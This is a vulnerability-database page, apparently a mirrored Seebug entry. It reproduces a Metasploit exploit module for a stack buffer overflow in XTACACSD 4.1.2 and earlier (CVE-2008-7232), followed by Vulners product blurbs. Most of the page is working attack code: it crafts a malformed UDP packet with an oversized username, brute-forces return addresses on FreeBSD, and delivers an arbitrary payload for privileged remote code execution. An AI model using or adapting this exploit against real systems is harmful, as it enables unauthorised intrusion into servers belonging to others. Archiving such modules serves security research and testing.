Lucene search
K

XTACACSD <= 4.1.2 report() Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Stack buffer overflow in XTACACSD <= 4.1.2 allows remote attackers to execute arbitrary code via a specially crafted packet

Code

                                                ##
# $Id: xtacacsd_report.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Udp
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;XTACACSD &#60;= 4.1.2 report() Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in XTACACSD &#60;= 4.1.2. By
				sending a specially crafted XTACACS packet with an overly long
				username, an attacker may be able to execute arbitrary code.
			},
			&#39;Author&#39;         =&#62; &#39;MC&#39;,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[&#39;CVE&#39;, &#39;2008-7232&#39;],
					[&#39;OSVDB&#39;, &#39;58140&#39;],
					[&#39;URL&#39;, &#39;http://aluigi.altervista.org/adv/xtacacsdz-adv.txt&#39;],
				],
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 175,
					&#39;BadChars&#39; =&#62; &#34;\x00\x09\x0a\x0b\x0c\x0d\x20&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
					&#39;PrependEncoder&#39; =&#62; &#34;\x83\xec\x7f&#34;,
					&#39;DisableNops&#39;   =&#62;  &#39;True&#39;,
				},
			&#39;Platform&#39;       =&#62; &#39;BSD&#39;,
			&#39;Arch&#39;           =&#62; ARCH_X86,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;FreeBSD 6.2-Release Bruteforce&#39;,
						{&#39;Bruteforce&#39; =&#62;
							{
								&#39;Start&#39; =&#62; { &#39;Ret&#39; =&#62; 0xbfbfea00 },
								&#39;Stop&#39;  =&#62; { &#39;Ret&#39; =&#62; 0xbfbfef00 },
								&#39;Step&#39;  =&#62; 24,
							}
						},
					],
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 8 2008&#39;))

		register_options([Opt::RPORT(49)], self.class)
	end

	def brute_exploit(address)
		connect_udp

		sploit =  &#34;\x80&#34; # Version
		sploit &#60;&#60; &#34;\x05&#34; # Type: Connect
		sploit &#60;&#60; &#34;\xff\xff&#34; # Nonce
		sploit &#60;&#60; &#34;\xff&#34; # Username length
		sploit &#60;&#60; &#34;\x00&#34; # Password length
		sploit &#60;&#60; &#34;\x00&#34; # Response
		sploit &#60;&#60; &#34;\x00&#34; # Reason
		sploit &#60;&#60; &#34;\xff\xff\xff\xff&#34; # Result 1
		sploit &#60;&#60; &#34;\xff\xff\xff\xff&#34; # Destination address
		sploit &#60;&#60; &#34;\xff\xff&#34; # Destination port
		sploit &#60;&#60; &#34;\xff\xff&#34; # Line
		sploit &#60;&#60; &#34;\x00\x00\x00\x00&#34; # Result 2
		sploit &#60;&#60; &#34;\x00\x00&#34; # Result 3
		sploit &#60;&#60; make_nops(238 - payload.encoded.length)
		sploit &#60;&#60; payload.encoded + [address[&#39;Ret&#39;]].pack(&#39;V&#39;)

		print_status(&#34;Trying target #{target.name} #{&#34;%.8x&#34; % address[&#39;Ret&#39;]}...&#34;)
		udp_sock.put(sploit)

		disconnect_udp
	end

end

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13